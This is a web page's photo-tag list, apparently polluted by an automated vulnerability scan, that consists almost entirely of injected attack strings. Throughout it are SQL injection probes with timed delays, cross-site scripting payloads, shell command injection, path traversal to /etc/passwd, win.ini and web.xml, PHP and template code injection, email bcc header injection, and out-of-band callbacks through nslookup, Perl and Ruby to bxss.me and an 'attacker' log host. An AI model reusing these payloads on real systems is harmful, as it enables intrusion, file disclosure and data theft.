×
照片标签：
- 爱燃烧机器人pi 标记 3744
- 1
- 1DXePznmBaO
- SSyqwgXc
- response.write(9390161*9698698)
- '+response.write(9390161*9698698)+'
- ../../../../../../../../../../../../../../etc/passwd
- "+response.write(9390161*9698698)+"
- ../../../../../../../../../../../../../../windows/win.ini
- ../1
- echo dgvsmg$()\ ddqvye\nz^xyu||a #' &echo dgvsmg$()\ ddqvye\nz^xyu||a #|" &echo dgvsmg$()\ ddqvye\nz^xyu||a #
- &echo vceepi$()\ llpsfc\nz^xyu||a #' &echo vceepi$()\ llpsfc\nz^xyu||a #|" &echo vceepi$()\ llpsfc\nz^xyu||a #
- |echo gzltbr$()\ sqgzrx\nz^xyu||a #' |echo gzltbr$()\ sqgzrx\nz^xyu||a #|" |echo gzltbr$()\ sqgzrx\nz^xyu||a #
- 1 bcc:074625.3840-273969.3840.3d8ff.19119.2@bxss.me
- to@example.com> bcc:074625.3840-273970.3840.3d8ff.19119.2@bxss.me
- 1<esi:include src="http://bxss.me/rpb.png"/>
- (nslookup hitcpjbdposnxf313b.bxss.me||perl -e "gethostbyname('hitcpjbdposnxf313b.bxss.me')")
- ${9999145+10000409}
- 12345'"\'\")
- $(nslookup hitopkhofuyjdeac34.bxss.me||perl -e "gethostbyname('hitopkhofuyjdeac34.bxss.me')")
- &(nslookup hitvnhmvaeucb25938.bxss.me||perl -e "gethostbyname('hitvnhmvaeucb25938.bxss.me')")&'\"`0&(nslookup hitvnhmvaeucb25938.bxss.me||perl -e "gethostbyname('hitvnhmvaeucb25938.bxss.me')")&`'
- |(nslookup hitxedilruksh7d5b7.bxss.me||perl -e "gethostbyname('hitxedilruksh7d5b7.bxss.me')")
- `(nslookup hituwzwmaxpbl2840c.bxss.me||perl -e "gethostbyname('hituwzwmaxpbl2840c.bxss.me')")`
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
- 1&n951326=v994098
- Http://bxss.me/t/fit.txt
- http://bxss.me/t/fit.txt?.jpg
- bxss.me
- )
- !(()&&!|*|*|
- ^(#$!@#$)(()))******
- '"()
- '.gethostbyname(lc('hitly'.'ohykbeze313ea.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(85).chr(107).chr(74).'
- ".gethostbyname(lc("hitqe"."uqoipejfbbc66.bxss.me."))."A".chr(67).chr(hex("58")).chr(110).chr(90).chr(110).chr(71)."
- HttP://bxss.me/t/xss.html?%00
- "+"A".concat(70-3).concat(22*4).concat(104).concat(80).concat(105).concat(85)+(require"socket" Socket.gethostbyname("hitmp"+"qszbnqyr80299.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(106).concat(74).concat(112).concat(87)+(require'socket' Socket.gethostbyname('hitpp'+'clivdovt151a3.bxss.me.')[3].to_s)+'
- bxss.me/t/xss.html?%00
- bibs
- bibs/.
- '
- "
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- ${@print(md5(31337))}
- /xfs.bxss.me
- ${@print(md5(31337))}\
- '.print(md5(31337)).'
- '"
- <!--
- 1'"()&%<acx><ScRiPt >jgvf(9201)</ScRiPt>
- '"()&%<acx><ScRiPt >jgvf(9806)</ScRiPt>
- 19812237
- IfKJt5ji
- -1 OR 2+674-674-1=0+0+0+1 --
- -1 OR 2+764-764-1=0+0+0+1
- -1' OR 2+121-121-1=0+0+0+1 --
- -1' OR 2+548-548-1=0+0+0+1 or 'xvW1c8gO'='
- -1" OR 2+516-516-1=0+0+0+1 --
- if(now()=sysdate()
- sleep(15)
- 0)
- 0'XOR(if(now()=sysdate()
- 0))XOR'Z
- 0"XOR(if(now()=sysdate()
- 0))XOR"Z
- (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- -1
- -1)
- 1 waitfor delay '0:0:15' --
- hm8Opy9U'
- -5 OR 723=(SELECT 723 FROM PG_SLEEP(15))--
- -5) OR 932=(SELECT 932 FROM PG_SLEEP(15))--
- -1)) OR 828=(SELECT 828 FROM PG_SLEEP(15))--
- lS7fD4wj' OR 265=(SELECT 265 FROM PG_SLEEP(15))--
- 1'"()&%<acx><ScRiPt >WoBd(9419)</ScRiPt>
- '"()&%<acx><ScRiPt >WoBd(9841)</ScRiPt>
- 19351435
- acu6192＜s1﹥s2ʺs3ʹuca6192
- acux5272z1z2abcxuca5272
- <%={{={@{#{${acx}}%>
- kC7stC5e') OR 445=(SELECT 445 FROM PG_SLEEP(15))--
- <th:t="${acx}#foreach
- eKpAUEkH')) OR 118=(SELECT 118 FROM PG_SLEEP(15))--
- 1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
- acx{{98991*97996}}xca
- acx[[${98991*97996}]]xca
- acx__${98991*97996}__::.x
- 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)
- 15)
- "acxzzzzzzzzbbbccccdddeeexca".replace("z"
- "o")
- acu1580＜s1﹥s2ʺs3ʹuca1580
- acux8446z1z2abcxuca8446
- 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- 15)||'
- '||(select 1 from (select pg_sleep(15))x)||'
- acu7128＜s1﹥s2ʺs3ʹuca7128
- acux5313z1z2abcxuca5313
- ''||(select 1 from (select pg_sleep(15))x)||''
- 1'"
- 1 %2527%2522
- @@4JFyq
- 1"onmouseover=WoBd(97032)"
- 1"onmouseover=WoBd(92372)"
- 1" c0Pb=WoBd([!+!]) t5R="
- 1\u0022onmouseover=WoBd(94203)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%57%6F%42%64%28%39%30%33%32%34%29%22
- "onmouseover=WoBd(92745)//
- 1"sTYLe='acu:Expre/**/SSion(WoBd(9350))'bad="
- 1"><script>WoBd(9032)</script>
- 1<ScRiPt >WoBd(9091)</ScRiPt>
- 1<WKL4NY>GVKQN[!+!]</WKL4NY>
- 1<script>WoBd(9604)</script>
- 1<ScR<ScRiPt>IpT>WoBd(9274)</sCr<ScRiPt>IpT>
- 1<ScRiPt >WoBd(9459)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9069></ScRiPt>
- response.write(9642148*9185438)
- '+response.write(9642148*9185438)+'
- 1< ScRiPt >WoBd(9635)</ScRiPt>
- "+response.write(9642148*9185438)+"
- 1<svg onload=WoBd(9723)
- 1<isindex type=image src=1 onerror=WoBd(9607)>
- 1<iframe src='data:text/html
- 1<body onload=WoBd(9131)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=WoBd(9303)>
- 1<img src=xyz OnErRor=WoBd(9494)>
- echo zynwxt$()\ rltarp\nz^xyu||a #' &echo zynwxt$()\ rltarp\nz^xyu||a #|" &echo zynwxt$()\ rltarp\nz^xyu||a #
- &echo qxdbzq$()\ ohxukd\nz^xyu||a #' &echo qxdbzq$()\ ohxukd\nz^xyu||a #|" &echo qxdbzq$()\ ohxukd\nz^xyu||a #
- |echo poierp$()\ uovbpt\nz^xyu||a #' |echo poierp$()\ uovbpt\nz^xyu||a #|" |echo poierp$()\ uovbpt\nz^xyu||a #
- 1<img/src=">" onerror=alert(9446)>
- (nslookup hitunynfkfgvadf1a9.bxss.me||perl -e "gethostbyname('hitunynfkfgvadf1a9.bxss.me')")
- $(nslookup hitnqxnzowsqfb9cdc.bxss.me||perl -e "gethostbyname('hitnqxnzowsqfb9cdc.bxss.me')")
- &(nslookup hitleatlvtfyca6a9e.bxss.me||perl -e "gethostbyname('hitleatlvtfyca6a9e.bxss.me')")&'\"`0&(nslookup hitleatlvtfyca6a9e.bxss.me||perl -e "gethostbyname('hitleatlvtfyca6a9e.bxss.me')")&`'
- |(nslookup hitqowheohmhka0259.bxss.me||perl -e "gethostbyname('hitqowheohmhka0259.bxss.me')")
- 1\u003CScRiPt\WoBd(9370)\u003C/sCripT\u003E
- `(nslookup hitqkjoatnael939cc.bxss.me||perl -e "gethostbyname('hitqkjoatnael939cc.bxss.me')")`
- 1<
- fIyxrRdg
- <img acu onmouseover=WoBd(91511) //>
- 1%0abcc:074625.3840-276279.3840.e8b0f.19119.2@bxss.me
- 1<input autofocus onfocus=WoBd(9120)>
- to@example.com>%0d%0abcc:074625.3840-276280.3840.e8b0f.19119.2@bxss.me
- <a HrEF=http://xss.bxss.me></a>
- <a HrEF=jaVaScRiPT:>
- 1}body{acu:Expre/**/SSion(WoBd(9540))}
- ${9999898+10000253}
- 1xvvpy <ScRiPt >WoBd(9764)</ScRiPt>
- 1<WBLTXE>KXXNE[!+!]</WBLTXE>
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
- 1<ifRAme sRc=9478.com></IfRamE>
- 1&n907243=v965869
- 1some_inexistent_file_with_long_name%00.jpg
- 1<a4TCy11 x=9834>
- http://bxss.me/t/fit.txt%3F.jpg
- 1<img sRc='http://attacker-9016/log.php?
- 1<aZexYk6<
- '.gethostbyname(lc('hitii'.'jvcunclt2133d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(65).chr(105).chr(65).'
- ".gethostbyname(lc("hitwy"."payflwnta7ea5.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(78).chr(108).chr(83)."
- "+"A".concat(70-3).concat(22*4).concat(97).concat(80).concat(115).concat(65)+(require"socket" Socket.gethostbyname("hitig"+"gzhvajst0dc64.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(103).concat(80).concat(104).concat(79)+(require'socket' Socket.gethostbyname('hitjm'+'jfhtoyuee684f.bxss.me.')[3].to_s)+'
- ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
- ';print(md5(31337));$a='
- ";print(md5(31337));$a="
- response.write(9194269*9956385)
- '+response.write(9194269*9956385)+'
- "+response.write(9194269*9956385)+"
- echo zmdlpv$()\ gqodra\nz^xyu||a #' &echo zmdlpv$()\ gqodra\nz^xyu||a #|" &echo zmdlpv$()\ gqodra\nz^xyu||a #
- 1'"()&%<acx><ScRiPt >Erk7(9861)</ScRiPt>
- g6Gl9FsL
- &echo uazsvu$()\ uvgdxz\nz^xyu||a #' &echo uazsvu$()\ uvgdxz\nz^xyu||a #|" &echo uazsvu$()\ uvgdxz\nz^xyu||a #
- |echo lutocb$()\ hnnvsh\nz^xyu||a #' |echo lutocb$()\ hnnvsh\nz^xyu||a #|" |echo lutocb$()\ hnnvsh\nz^xyu||a #
- (nslookup hituktqhlpkocd6d87.bxss.me||perl -e "gethostbyname('hituktqhlpkocd6d87.bxss.me')")
- $(nslookup hittmgppyqchz77621.bxss.me||perl -e "gethostbyname('hittmgppyqchz77621.bxss.me')")
- &(nslookup hitgedhadyqbs38690.bxss.me||perl -e "gethostbyname('hitgedhadyqbs38690.bxss.me')")&'\"`0&(nslookup hitgedhadyqbs38690.bxss.me||perl -e "gethostbyname('hitgedhadyqbs38690.bxss.me')")&`'
- '"()&%<acx><ScRiPt >Erk7(9916)</ScRiPt>
- |(nslookup hitjucnutnavh53a3d.bxss.me||perl -e "gethostbyname('hitjucnutnavh53a3d.bxss.me')")
- `(nslookup hitotuqndbinh62ea6.bxss.me||perl -e "gethostbyname('hitotuqndbinh62ea6.bxss.me')")`
- 19090302
- acu5337%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca5337
- acux4578%C0%BEz1%C0%BCz2a%90bcxuca4578
- 1 bcc:074625.3840-276390.3840.3d8ff.19119.2@bxss.me
- to@example.com> bcc:074625.3840-276391.3840.3d8ff.19119.2@bxss.me
- ${10000270+10000012}
- 1&n981898=v911015
- 1some_inexistent_file_with_long_name .jpg
- '.gethostbyname(lc('hitfe'.'arewawcsba59b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(70).chr(114).chr(68).'
- ".gethostbyname(lc("hityt"."czwaantm24411.bxss.me."))."A".chr(67).chr(hex("58")).chr(121).chr(72).chr(97).chr(67)."
- acu7018%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca7018
- "+"A".concat(70-3).concat(22*4).concat(120).concat(84).concat(121).concat(84)+(require"socket" Socket.gethostbyname("hitsk"+"rncdwcwz1cb13.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(107).concat(68).concat(102).concat(65)+(require'socket' Socket.gethostbyname('hitza'+'abqyugrj2ec45.bxss.me.')[3].to_s)+'
- acux5986%C0%BEz1%C0%BCz2a%90bcxuca5986
- 1'"()&%<acx><ScRiPt >K9zW(9388)</ScRiPt>
- 1qxQYSnaYO
- '"()&%<acx><ScRiPt >K9zW(9877)</ScRiPt>
- 19919240
- acu4779%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca4779
- acux2049%C0%BEz1%C0%BCz2a%90bcxuca2049
- %31%3C%53%63%52%69%50%74%20%3E%45%72%6B%37%289391%29%3C%2F%73%43%72%69%70%54%3E
- x08VifSO
- -1 OR 2+727-727-1=0+0+0+1 --
- -1 OR 2+857-857-1=0+0+0+1
- -1' OR 2+301-301-1=0+0+0+1 --
- -1' OR 2+457-457-1=0+0+0+1 or '3NJxwrPs'='
- -1" OR 2+20-20-1=0+0+0+1 --
- -1)) OR 292=(SELECT 292 FROM PG_SLEEP(15))--
- sMfyZvkB' OR 138=(SELECT 138 FROM PG_SLEEP(15))--
- -1; waitfor delay '0:0:15' --
- QNEEykhh') OR 715=(SELECT 715 FROM PG_SLEEP(15))--
- -1); waitfor delay '0:0:15' --
- G9a7fsur')) OR 153=(SELECT 153 FROM PG_SLEEP(15))--
- cD9oCTeh'; waitfor delay '0:0:15' --
- -5 OR 372=(SELECT 372 FROM PG_SLEEP(15))--
- -5) OR 69=(SELECT 69 FROM PG_SLEEP(15))--
- @@tNout
- -1)) OR 200=(SELECT 200 FROM PG_SLEEP(15))--
- 1JWbCT9L' OR 395=(SELECT 395 FROM PG_SLEEP(15))--
- X8GOdmFv') OR 568=(SELECT 568 FROM PG_SLEEP(15))--
- kj4dCoql')) OR 440=(SELECT 440 FROM PG_SLEEP(15))--
- @@ceMxZ
- 1'"()&%<acx><ScRiPt >DGVb(9605)</ScRiPt>
- 1'"()&%<acx><ScRiPt >bygl(9655)</ScRiPt>
- '"()&%<acx><ScRiPt >bygl(9391)</ScRiPt>
- '"()&%<acx><ScRiPt >DGVb(9257)</ScRiPt>
- 19541468
- 19839604
- acu7819＜s1﹥s2ʺs3ʹuca7819
- acu6773%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca6773
- acux6150z1z2abcxuca6150
- acux7797%C0%BEz1%C0%BCz2a%90bcxuca7797
- acu2075＜s1﹥s2ʺs3ʹuca2075
- acux5525z1z2abcxuca5525
- acu1333%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca1333
- acux2681%C0%BEz1%C0%BCz2a%90bcxuca2681
- acu3585＜s1﹥s2ʺs3ʹuca3585
- acux1025z1z2abcxuca1025
- acu10854%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca10854
- acux10104%C0%BEz1%C0%BCz2a%90bcxuca10104
- 1"onmouseover=DGVb(97382)"
- response.write(9850754*9687104)
- '+response.write(9850754*9687104)+'
- 1"onmouseover=DGVb(91432)"
- "+response.write(9850754*9687104)+"
- 1" DgQq=DGVb([!+!]) KdW="
- echo pcwhxa$()\ hkktyl\nz^xyu||a #' &echo pcwhxa$()\ hkktyl\nz^xyu||a #|" &echo pcwhxa$()\ hkktyl\nz^xyu||a #
- &echo iafktt$()\ eewamn\nz^xyu||a #' &echo iafktt$()\ eewamn\nz^xyu||a #|" &echo iafktt$()\ eewamn\nz^xyu||a #
- 1\u0022onmouseover=DGVb(96833)\u0022
- |echo xxkfpt$()\ irmimj\nz^xyu||a #' |echo xxkfpt$()\ irmimj\nz^xyu||a #|" |echo xxkfpt$()\ irmimj\nz^xyu||a #
- (nslookup hitswcwurqkbaf5195.bxss.me||perl -e "gethostbyname('hitswcwurqkbaf5195.bxss.me')")
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%44%47%56%62%28%39%37%38%31%34%29%22
- $(nslookup hitqqfvvvronu46453.bxss.me||perl -e "gethostbyname('hitqqfvvvronu46453.bxss.me')")
- "onmouseover=DGVb(92875)//
- &(nslookup hitfoaxqncpzp60c4e.bxss.me||perl -e "gethostbyname('hitfoaxqncpzp60c4e.bxss.me')")&'\"`0&(nslookup hitfoaxqncpzp60c4e.bxss.me||perl -e "gethostbyname('hitfoaxqncpzp60c4e.bxss.me')")&`'
- |(nslookup hitpckvrczgdhe9072.bxss.me||perl -e "gethostbyname('hitpckvrczgdhe9072.bxss.me')")
- 1"sTYLe='acu:Expre/**/SSion(DGVb(9981))'bad="
- `(nslookup hitufhlifpgphc771e.bxss.me||perl -e "gethostbyname('hitufhlifpgphc771e.bxss.me')")`
- 1"><script>DGVb(9429)</script>
- 6CLbS63o
- 1<ScRiPt >DGVb(9829)</ScRiPt>
- ../../../../../../../../../../../../../../../proc/version
- 1<WGCBCC>6RTMN[!+!]</WGCBCC>
- %0abcc:074625.3840-342419.3840.e8b0f.19119.2@bxss.me
- ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
- to@example.com>%0d%0abcc:074625.3840-342423.3840.e8b0f.19119.2@bxss.me
- ../../../../../../../../../../etc/passwd%00.jpg
- 1<script>DGVb(9652)</script>
- 1%22onmouseover=bygl(90852)%22
- ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
- <esi:include src="http://bxss.me/rpb.png"/>
- 1<ScR<ScRiPt>IpT>DGVb(9641)</sCr<ScRiPt>IpT>
- /../..//../..//../..//../..//../..//etc/passwd%00.jpg
- 1"onmouseover=bygl(94252)"
- ${9999130+9999956}
- .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
- 1<ScRiPt >DGVb(9984)</ScRiPt>
- /etc/passwd
- &n971740=v940221
- 1" MboE=bygl([!+!]) jMC="
- %2fetc%2fpasswd
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9237></ScRiPt>
- /.././.././.././.././.././.././.././../etc/./passwd%00
- ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
- 1\u0022onmouseover=bygl(90793)\u0022
- ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
- 1< ScRiPt >DGVb(9416)</ScRiPt>
- ../././../././../././../././../././../././../././../././../././../././etc/passwd
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%62%79%67%6C%28%39%34%39%32%34%29%22
- ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
- '.gethostbyname(lc('hitwt'.'eklmzmzd9134a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(72).chr(114).chr(70).'
- 1<svg onload=DGVb(9557)
- ".gethostbyname(lc("hitca"."okostufjd369d.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(86).chr(104).chr(81)."
- 1<isindex type=image src=1 onerror=DGVb(9754)>
- file:///etc/passwd
- 1"sTYLe='acu:Expre/**/SSion(bygl(9193))'bad="
- "+"A".concat(70-3).concat(22*4).concat(108).concat(88).concat(112).concat(68)+(require"socket" Socket.gethostbyname("hitng"+"bfocvonp5137c.bxss.me.")[3].to_s)+"
- /\../\../\../\../\../\../\../etc/passwd
- '+'A'.concat(70-3).concat(22*4).concat(100).concat(71).concat(111).concat(72)+(require'socket' Socket.gethostbyname('hitpt'+'fvjsjvhna96cd.bxss.me.')[3].to_s)+'
- /WEB-INF/web.xml
- 1"><script>bygl(9590)</script>
- C:\WINDOWS\system32\drivers\etc\hosts
- 1<body onload=DGVb(9522)>
- ../../../../../../../../../../windows/win.ini%00.jpg
- 1<ScRiPt >bygl(9666)</ScRiPt>
- /../../../../../../../../../../boot.ini
- 1'"()&%<acx><ScRiPt >cSDt(9960)</ScRiPt>
- 1<img src=//xss.bxss.me/t/dot.gif onload=DGVb(9945)>
- %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
- 1<img src=xyz OnErRor=DGVb(9033)>
- '"()&%<acx><ScRiPt >cSDt(9237)</ScRiPt>
- 1<WCBNWT>E8EMT[!+!]</WCBNWT>
- ..\..\..\..\..\..\..\..\windows\win.ini
- ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
- 19903042
- 1<img/src=">" onerror=alert(9454)>
- /.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
- 1<script>bygl(9342)</script>
- ../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
- acu4949%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca4949
- %31%3C%53%63%52%69%50%74%20%3E%44%47%56%62%289891%29%3C%2F%73%43%72%69%70%54%3E
- ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
- 1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%62%79%67%6C%28%39%35%39%39%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
- 1\u003CScRiPt\DGVb(9846)\u003C/sCripT\u003E
- acux8330%C0%BEz1%C0%BCz2a%90bcxuca8330
- 1<ScRiPt >bygl(9231)</ScRiPt>
- WEB-INF/web.xml
- WEB-INF\web.xml
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9390></ScRiPt>
- <img acu onmouseover=DGVb(91521) //>
- 1< ScRiPt >bygl(9305)</ScRiPt>
- 1<input autofocus onfocus=DGVb(9192)>
- 1<isindex type=image src=1 onerror=bygl(9868)>
- 1}body{acu:Expre/**/SSion(DGVb(9222))}
- 1<iframe src='data:text/html;base64
- PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9734'>
- 1VirP1 <ScRiPt >DGVb(9544)</ScRiPt>
- 1<body onload=bygl(9777)>
- 1<WTS6SI>EP0KK[!+!]</WTS6SI>
- 1<ifRAme sRc=9860.com></IfRamE>
- 1<img src=//xss.bxss.me/t/dot.gif onload=bygl(9932)>
- 1<img src=xyz OnErRor=bygl(9148)>
- acu1756%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca1756
- 1<img sRc='http://attacker-9974/log.php?
- 1<img/src=">" onerror=alert(9848)>
- acux9870%C0%BEz1%C0%BCz2a%90bcxuca9870
- 1<aSaf4xY<
- %31%3C%53%63%52%69%50%74%20%3E%62%79%67%6C%289170%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\bygl(9948)\u003C/sCripT\u003E
- 1<ScRiPt>bygl(9217)</sCripT>
- qSQBl8pX
- -1 OR 2+845-845-1=0+0+0+1 --
- -1 OR 2+678-678-1=0+0+0+1
- 1<input autofocus onfocus=bygl(9208)>
- -1' OR 2+812-812-1=0+0+0+1 --
- -1' OR 2+467-467-1=0+0+0+1 or 'vUzN1Du1'='
- -1" OR 2+910-910-1=0+0+0+1 --
- 1}body{acu:Expre/**/SSion(bygl(9830))}
- acu9707%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca9707
- 1Ad1dz <ScRiPt >bygl(9178)</ScRiPt>
- acux8164%C0%BEz1%C0%BCz2a%90bcxuca8164
- 1<WDI2Y9>8UQTF[!+!]</WDI2Y9>
- 1<ifRAme sRc=9661.com></IfRamE>
- 1<acUFWJl x=9396>
- 1<img sRc='http://attacker-9743/log.php?
- 1<aTngVOO<
- 1%22onmouseover=cSDt(94472)%22
- 1"onmouseover=cSDt(93162)"
- nYL5KE2R'; waitfor delay '0:0:15' --
- 1" MSpl=cSDt([!+!]) YoZ="
- 1\u0022onmouseover=cSDt(98813)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%63%53%44%74%28%39%32%33%30%34%29%22
- -5 OR 380=(SELECT 380 FROM PG_SLEEP(15))--
- 1"sTYLe='acu:Expre/**/SSion(cSDt(9898))'bad="
- -5) OR 227=(SELECT 227 FROM PG_SLEEP(15))--
- 1"><script>cSDt(9810)</script>
- 1<ScRiPt >cSDt(9437)</ScRiPt>
- 1<WKSKXV>VNDGX[!+!]</WKSKXV>
- 1<script>cSDt(9656)</script>
- -1)) OR 614=(SELECT 614 FROM PG_SLEEP(15))--
- 1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%63%53%44%74%28%39%38%37%38%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
- 1<ScRiPt >cSDt(9846)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9371></ScRiPt>
- 1< ScRiPt >cSDt(9706)</ScRiPt>
- XtPLhrkq' OR 959=(SELECT 959 FROM PG_SLEEP(15))--
- 1<isindex type=image src=1 onerror=cSDt(9470)>
- PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9132'>
- 1<body onload=cSDt(9668)>
- f6vuFPvy') OR 340=(SELECT 340 FROM PG_SLEEP(15))--
- 1<img src=//xss.bxss.me/t/dot.gif onload=cSDt(9622)>
- 1<img src=xyz OnErRor=cSDt(9213)>
- 1<img/src=">" onerror=alert(9238)>
- %31%3C%53%63%52%69%50%74%20%3E%63%53%44%74%289613%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\cSDt(9821)\u003C/sCripT\u003E
- 1<ScRiPt>cSDt(9303)</sCripT>
- 1<input autofocus onfocus=cSDt(9577)>
- 1}body{acu:Expre/**/SSion(cSDt(9114))}
- 1WKRQO <ScRiPt >cSDt(9525)</ScRiPt>
- 1<WOIIPC>B0DFY[!+!]</WOIIPC>
- 1<ifRAme sRc=9531.com></IfRamE>
- 1<aLuSjP8 x=9131>
- @@EHVxd
- 1<img sRc='http://attacker-9938/log.php?
- 1<afz8ACl<
- 1'"()&%<acx><ScRiPt >aNqL(9198)</ScRiPt>
- 1'"()&%<acx><ScRiPt >om6c(9227)</ScRiPt>
- '"()&%<acx><ScRiPt >om6c(9035)</ScRiPt>
- '"()&%<acx><ScRiPt >aNqL(9965)</ScRiPt>
- 19309223
- 19726655
- acu3173＜s1﹥s2ʺs3ʹuca3173
- acu7826%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca7826
- acux8509z1z2abcxuca8509
- acux4313%C0%BEz1%C0%BCz2a%90bcxuca4313
- acu1223＜s1﹥s2ʺs3ʹuca1223
- acux9765z1z2abcxuca9765
- response.write(9127051*9010997)
- acu9538%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca9538
- '+response.write(9127051*9010997)+'
- "+response.write(9127051*9010997)+"
- acux9943%C0%BEz1%C0%BCz2a%90bcxuca9943
- f6Gey4JK
- echo bncpna$()\ axczpm\nz^xyu||a #' &echo bncpna$()\ axczpm\nz^xyu||a #|" &echo bncpna$()\ axczpm\nz^xyu||a #
- &echo epcvjg$()\ umezrt\nz^xyu||a #' &echo epcvjg$()\ umezrt\nz^xyu||a #|" &echo epcvjg$()\ umezrt\nz^xyu||a #
- |echo pzkkoy$()\ mzthrq\nz^xyu||a #' |echo pzkkoy$()\ mzthrq\nz^xyu||a #|" |echo pzkkoy$()\ mzthrq\nz^xyu||a #
- (nslookup hitznjygrgdck61a1a.bxss.me||perl -e "gethostbyname('hitznjygrgdck61a1a.bxss.me')")
- $(nslookup hitipwnfeipxxcfbc1.bxss.me||perl -e "gethostbyname('hitipwnfeipxxcfbc1.bxss.me')")
- &(nslookup hithvpfxlsvpbc7df4.bxss.me||perl -e "gethostbyname('hithvpfxlsvpbc7df4.bxss.me')")&'\"`0&(nslookup hithvpfxlsvpbc7df4.bxss.me||perl -e "gethostbyname('hithvpfxlsvpbc7df4.bxss.me')")&`'
- |(nslookup hitbsabmradudf7726.bxss.me||perl -e "gethostbyname('hitbsabmradudf7726.bxss.me')")
- `(nslookup hitpwppywzrgz83838.bxss.me||perl -e "gethostbyname('hitpwppywzrgz83838.bxss.me')")`
- acu8531＜s1﹥s2ʺs3ʹuca8531
- %0abcc:074625.3840-349423.3840.e8b0f.19119.2@bxss.me
- to@example.com>%0d%0abcc:074625.3840-349424.3840.e8b0f.19119.2@bxss.me
- acux3715z1z2abcxuca3715
- ${9999713+9999976}
- &n921818=v991358
- acu6551%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca6551
- '.gethostbyname(lc('hitgv'.'qhzijijmff753.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(66).chr(97).chr(67).'
- ".gethostbyname(lc("hitsw"."qfudeigh76277.bxss.me."))."A".chr(67).chr(hex("58")).chr(108).chr(75).chr(107).chr(66)."
- acux2433%C0%BEz1%C0%BCz2a%90bcxuca2433
- "+"A".concat(70-3).concat(22*4).concat(109).concat(75).concat(107).concat(89)+(require"socket" Socket.gethostbyname("hitol"+"hiviepaa14f68.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(97).concat(90).concat(115).concat(81)+(require'socket' Socket.gethostbyname('hitqp'+'cppfntmn6b002.bxss.me.')[3].to_s)+'
- 1'"()&%<acx><ScRiPt >PugD(9066)</ScRiPt>
- '"()&%<acx><ScRiPt >PugD(9975)</ScRiPt>
- 19917007
- 1"onmouseover=om6c(92382)"
